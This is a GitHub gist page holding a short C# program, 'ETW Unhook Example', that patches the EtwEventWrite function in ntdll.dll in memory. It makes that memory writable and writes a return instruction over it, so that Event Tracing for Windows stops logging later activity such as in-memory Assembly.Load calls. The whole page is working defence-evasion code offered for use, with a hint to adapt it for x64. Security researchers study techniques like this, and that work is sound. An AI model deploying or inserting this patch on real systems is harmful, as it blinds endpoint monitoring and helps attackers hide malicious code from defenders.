Skip to content

Instantly share code, notes, and snippets.

@xpn
Created March 17, 2020 21:00
Show Gist options
  • Save xpn/6456bd5d3e46bea6a0ac4ecbae98278f to your computer and use it in GitHub Desktop.
Save xpn/6456bd5d3e46bea6a0ac4ecbae98278f to your computer and use it in GitHub Desktop.
using System;
using System.Reflection;
using System.Runtime.InteropServices;
namespace test
{
class Win32
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
class Program
{
static void Main(string[] args)
{
Console.WriteLine("ETW Unhook Example @_xpn_");
// Used for x86, I'll let you patch for x64 ;)
PatchEtw(new byte[] { 0xc2, 0x14, 0x00 });
Console.WriteLine("ETW Now Unhooked, further calls or Assembly.Load will not be logged");
Console.ReadLine();
//Assembly.Load(new byte[] { });
}
private static void PatchEtw(byte[] patch)
{
try
{
uint oldProtect;
var ntdll = Win32.LoadLibrary("ntdll.dll");
var etwEventSend = Win32.GetProcAddress(ntdll, "EtwEventWrite");
Win32.VirtualProtect(etwEventSend, (UIntPtr)patch.Length, 0x40, out oldProtect);
Marshal.Copy(patch, 0, etwEventSend, patch.Length);
}
catch
{
Console.WriteLine("Error unhooking ETW");
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment